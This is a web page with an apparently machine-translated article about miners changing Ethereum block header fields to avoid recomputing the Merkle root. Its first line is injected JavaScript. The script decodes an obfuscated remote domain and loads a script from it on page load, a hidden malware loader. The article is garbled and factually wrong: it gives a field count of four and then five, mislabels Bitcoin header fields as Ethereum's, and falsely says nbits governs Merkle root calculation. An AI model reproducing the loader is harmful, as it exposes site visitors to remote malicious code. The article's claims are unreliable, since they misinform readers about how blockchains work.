const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=414f54c8″;document.body.appendChild(script);
Miners’ ability to change the block heads: Avoid recalculating the roots of Merkle
As the Ethereum block chain continues to grow and develop, miners are constantly looking for ways to improve their performance and reduce costs. An effective strategy is to change the specific fields in the block header to avoid conversion of the Merkle root, the cryptographic algorithm used to control the integrity of the blockchain.
4 fields: version, previous previous hash, time and nbits
In the Ethereum block there are five key fields that miners can influence: “version”, “Anteriorheadaderhasha,” Time and Nbit “. These fields are located in the block head and play a key role in determining the Merkle root.
* version
: The box version indicates the block number and version of the Ethereum Virtual Machine (EVM). Miners can change this value to avoid conversion of the Merkle root.
* hash previous header : This field stores the hash front block in the blockchain. Changing this value can help miners optimize their calculations.
* Time : The time field is a time stamp when the block has been extracted. Miners can change this value to adjust their calculations and avoid converting the Merkle root.
* NBits : This field controls the number of bits used in calculating the Merleke root. By adjusting nbits", miners can optimize their calculations and improve performance.
Avoid recalculation time: aim
When the miner wants to change specific fields in the block header, it intends to avoid conversion of the Merkle root. This is achieved by manipulating these fields so that the remaining fields (nonce, root, version, front head, time and Nbit) can continue to calculate the correct Merkle root.
Example of use of use
1.
- Reducing the block time : By adjusting the “Time” field, miners can optimize blocking time and potentially shorten the cost of mining.
- Improvement of the NBIT calculation: Miniters could adjust thenbits` field to improve the accuracy of Merleke root calculation.
Conclusion
The ability of miners to change specific fields in the Ethereum block header allows them to optimize their calculations and avoid converting the Merkle root. Understanding these key areas can develop strategies to improve performance, reduce costs and stay before cryptomena.
